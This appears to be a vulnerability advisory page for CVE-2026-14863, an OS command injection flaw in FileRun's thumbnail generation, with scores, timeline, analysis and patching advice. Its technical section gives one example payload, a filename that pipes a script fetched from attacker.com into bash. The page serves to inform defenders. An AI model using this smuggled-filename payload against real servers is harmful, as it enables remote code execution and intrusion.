Which versions of FileRun are affected by CVE-2026-14863?

FileRun versions through 2026.2.0 contain a remote code execution vulnerability in file upload handling that allows authenticated users to execute arbitrary system commands through malicious…. A patch is available.

How to fix or mitigate CVE-2026-14863?

Within 24 hours, inventory all FileRun deployments and document current versions. Within 7 days, apply vendor-released patch 2026.2.1 to all affected instances and validate successful deployment. Within 30 days, review file upload access logs for suspicious activity and implement principle-of-least-privilege controls on file upload permissions to restrict this capability to necessary users only.

FileRun CVE-2026-14863

Q: What is the CVSS score of CVE-2026-14863?

CVE-2026-14863 has a CVSS 4.0 base score of 8.7 (High). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 1.7%.

EUVD-2026-56976 HIGH

OS Command Injection (CWE-78)

2026-08-11 VulnCheck

GHSA-mcfq-hmcc-5pch

RCE Command Injection Filerun

8.7

CVSS 4.0 · Vendor: VulnCheck

Severity by source

Vendor (VulnCheck) PRIMARY

8.7 HIGH

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

vuln.today AI

8.8 HIGH

Requires only a low-privilege authenticated session (PR:L) over the network (AV:N); no scope change as impact is confined to the vulnerable FileRun system (S:U).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Lifecycle Timeline

Analysis Generated

Aug 11, 2026 - 21:40 vuln.today

CVE Published

Aug 11, 2026 - 20:41 cve.org

HIGH 8.7

DescriptionCVE.org

FileRun up to and including version 2026.2.0 contains an OS command injection vulnerability that allows authenticated attackers to achieve remote code execution by uploading a file with a malicious filename containing shell command substitution sequences. The thumbnail generation system passes filenames wrapped in shell double-quotes directly to exec() without escapeshellarg() sanitization, allowing filenames such as $(PAYLOAD).mp4 to survive the filename sanitizer and be evaluated as shell commands when ffmpeg, ImageMagick, vips, or stl-thumb processes the file during thumbnail generation.

AnalysisAI

Remote code execution in FileRun ≤2026.2.0 is achievable by any authenticated user who can upload files, exploiting a shell command injection flaw in the thumbnail generation pipeline. The subsystem passes uploaded filenames wrapped in double-quotes directly to exec() without escapeshellarg() sanitization, meaning filenames such as $(PAYLOAD).mp4 survive the filename sanitizer and are evaluated as shell commands when ffmpeg, ImageMagick, vips, or stl-thumb processes the upload. Vendor-released patch 2026.2.1 is available; no CISA KEV listing or public exploit code has been identified at time of analysis, but the low-complexity, authenticated-only barrier makes this a high-priority patch target for any FileRun deployment.

Technical ContextAI

FileRun is a self-hosted web-based file management and sharing platform. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) describes the root cause: the thumbnail generation subsystem constructs shell invocations by embedding filenames inside double-quoted strings before passing them to exec(), rather than using escapeshellarg() or equivalent sanitization. In Unix-like shells, double-quoting preserves shell command substitution sequences such as $(...) and ..., so a filename like $(curl attacker.com/shell.sh|bash).mp4 is interpreted by the shell rather than treated as a literal string. The vulnerability is triggered by one of four external thumbnail tools - ffmpeg, ImageMagick, vips, or stl-thumb - whichever is installed and invoked for the uploaded file type. The CPE cpe:2.3:a:filerun:filerun:*:*:*:*:*:*:*:* covers all FileRun versions through 2026.2.0 with no platform restriction stated.

RemediationAI

Upgrade FileRun to version 2026.2.1, the vendor-confirmed patched release per the changelog at https://filerun.com/index.php/changelog?v=2026.2.1. If immediate upgrade is not feasible, disable thumbnail generation for uploaded files to prevent the vulnerable code path from executing - note that this will degrade media preview functionality for users. As an additional compensating control, restrict file upload privileges to the minimum set of trusted accounts, reducing the pool of users who can trigger the flaw; this does not eliminate the vulnerability but narrows the attack surface. Ensure the web server process runs under a dedicated low-privilege OS user account to limit the blast radius of any successful exploit. Further technical context on the flaw is available in the VulnCheck advisory at https://www.vulncheck.com/advisories/filerun-rce-via-thumbnail-generation-command-injection.